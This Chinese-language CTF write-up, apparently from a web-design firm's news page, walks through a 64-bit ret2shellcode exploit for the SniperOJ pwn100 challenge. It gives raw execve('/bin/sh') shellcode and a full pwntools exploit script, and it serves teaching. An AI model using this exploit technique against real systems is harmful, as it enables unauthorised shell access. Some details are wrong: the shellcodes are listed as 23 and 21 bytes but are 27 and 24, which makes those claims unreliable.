ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

64位栈溢出与Shellcode利用实战

64位栈溢出与Shellcode利用实战

1. 项目概述

sniperoj-pwn100-shellcode-x86-64是一道经典的PWN入门练习题,主要考察64位环境下shellcode的构造与利用技巧。这道题目来自SniperOJ平台,适合刚接触二进制安全的初学者理解栈溢出和shellcode的基本原理。

在实际操作中,我们需要通过分析程序保护机制、内存布局和漏洞点,最终构造出能够获取shell的payload。这道题的特殊之处在于它明确给出了栈地址,同时允许执行栈上的代码,为ret2shellcode攻击创造了理想条件。

2. 漏洞分析与环境准备

2.1 程序保护机制检查

使用checksec工具检查程序的安全保护机制:

checksec ./pwn100 [*] '/tmp/pwn100' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments

关键发现:

  • NX disabled:栈内存可执行,这是ret2shellcode攻击的前提
  • No canary:可以直接进行栈溢出攻击
  • PIE enabled:代码段地址随机化,但题目给出了栈地址

2.2 关键代码分析

通过反汇编查看main函数关键逻辑:

int __cdecl main(int argc, const char **argv, const char **envp) { __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF buf[0] = 0LL; buf[1] = 0LL; setvbuf(_bss_start, 0LL, 1, 0LL); puts("Welcome to Sniperoj!"); printf("Do your kown what is it : [%p] ?\n", buf); puts("Now give me your answer : "); read(0, buf, 0x40uLL); return 0; }

漏洞点分析:

  1. 程序直接打印了buf的栈地址(关键信息泄露)
  2. read函数读取0x40(64)字节到buf,但buf实际大小只有16字节(明显的栈溢出)

2.3 调试环境搭建

推荐使用pwntools配合gdb进行动态调试:

from pwn import * context(os='linux', arch='amd64', log_level='debug') p = process('./pwn100') gdb.attach(p, ''' b *main+94 c ''')

调试技巧:

  • 在read函数调用前下断点,观察栈布局
  • 计算返回地址与buf的偏移量
  • 验证shellcode的执行情况

3. 攻击思路与payload构造

3.1 栈布局分析

通过调试可以获取以下关键信息:

  1. buf位于[rbp-0x10]
  2. 返回地址位于[rbp+0x8]
  3. 因此buf到返回地址的偏移量为0x10 + 0x8 = 24字节

内存布局示意图:

+-----------------+ | shellcode | 高地址 +-----------------+ | return addr | <- 覆盖为shellcode地址 +-----------------+ | padding | 24字节填充 +-----------------+ | buf | 低地址 +-----------------+

3.2 Shellcode选择与优化

常规的shellcraft生成的shellcode过长(约44字节),而我们的可用空间有限:

可用空间计算:

  • read读取0x40字节
  • buf本身占用0x10字节
  • 覆盖返回地址需要8字节
  • 剩余空间:0x40 - 0x10 - 8 = 0x28(40)字节

因此需要寻找或构造精简的shellcode。以下是经过验证的23字节execve("/bin/sh") shellcode:

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

这段shellcode的工作原理:

  1. xor eax, eax (清零eax)
  2. mov rbx, 0xff978cd091969dd1
  3. neg rbx (得到/bin/sh字符串地址)
  4. push rbx
  5. mov rdi, rsp (rdi指向/bin/sh)
  6. cdq (rdx清零)
  7. push rdx
  8. push rdi
  9. mov rsi, rsp
  10. mov al, 59 (execve系统调用号)
  11. syscall

3.3 完整payload构造

payload需要包含三部分:

  1. 24字节padding(覆盖到返回地址)
  2. 返回地址(指向shellcode)
  3. shellcode本身

构造过程:

buf_addr = int(p.recvuntil(']',drop=True),16) shellcode_addr = buf_addr + 32 # 24+8=32 payload = 'A'*24 # padding payload += p64(shellcode_addr) # 覆盖返回地址 payload += shellcode # 实际执行的shellcode

注意:shellcode_addr的计算需要考虑payload在栈中的布局。这里选择buf_addr+32是为了确保shellcode位于返回地址之后,避免被覆盖。

4. 完整利用脚本与调试技巧

4.1 完整exploit代码

from pwn import * context(os='linux', arch='amd64', log_level='debug') def exploit(): p = process('./pwn100') # 接收泄露的栈地址 p.recvuntil('[') buf_addr = p.recvuntil(']', drop=True) buf_addr = int(buf_addr, 16) log.success("Leaked stack address: 0x%x" % buf_addr) # 构造payload shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" shellcode_addr = buf_addr + 32 payload = 'A'*24 payload += p64(shellcode_addr) payload += shellcode # 发送payload p.sendline(payload) p.interactive() if __name__ == '__main__': exploit()

4.2 调试技巧与常见问题

  1. 地址对齐问题:

    • 确保shellcode地址正确指向shellcode起始位置
    • 使用gdb查看栈布局:x/30gx $rsp
  2. shellcode执行失败:

    • 检查是否所有字符都能正确输入
    • 使用disasm查看shellcode是否被正确解释
  3. PIE的影响:

    • 虽然开启了PIE,但题目泄露了栈地址,不影响利用
    • 如果遇到奇怪崩溃,尝试调整shellcode地址偏移
  4. pwntools调试技巧:

    context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p, ''' b *main+94 x/10gx $rsp c ''')

5. 扩展知识与相关技术

5.1 Shellcode编写技巧

  1. 避免坏字符:

    • 某些场景下\x00会被截断
    • 使用编码技术避免特殊字符
  2. 更短的shellcode:

    • 可以进一步优化到21字节:
      shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
  3. 通用shellcode构造:

    • 使用pwntools的shellcraft模块:
      shellcode = asm(shellcraft.sh())

5.2 相关题目推荐

  1. ret2shellcode基础:

    • pwnable.kr - asm
    • CTFlearn - shellcode
  2. 进阶挑战:

    • 有NX保护的ret2shellcode
    • 需要自行映射可执行内存的题目
  3. 比赛真题:

    • NewstarCTF 2023 week2 pwn
    • BUUCTF - warmup

5.3 防御措施

虽然本题没有开启NX保护,但在实际环境中:

  1. 开启NX/DEP防止栈执行
  2. 使用栈保护金丝雀(canary)
  3. 地址随机化(ASLR/PIE)
  4. 安全的编码实践避免溢出

6. 总结与个人心得

这道sniperoj-pwn100-shellcode-x86-64题目虽然简单,但涵盖了PWN入门的多个关键知识点:

  1. 栈溢出基本原理:理解缓冲区溢出如何覆盖返回地址
  2. shellcode构造:学习编写精简高效的机器码
  3. 地址计算:掌握栈布局分析和偏移计算
  4. 调试技巧:使用gdb验证攻击效果

在实际操作中,最容易出错的是shellcode地址的计算。我建议先在gdb中手动验证地址是否正确,再编写完整exploit。另外,不同版本的libc可能会导致shellcode行为差异,遇到问题时可以尝试更换测试环境。

对于想深入学习PWN的同学,建议从这类基础题目入手,逐步掌握栈溢出、ROP等核心技术。同时要养成查看保护机制的习惯,这对后续学习更复杂的漏洞利用技术至关重要。

返回列表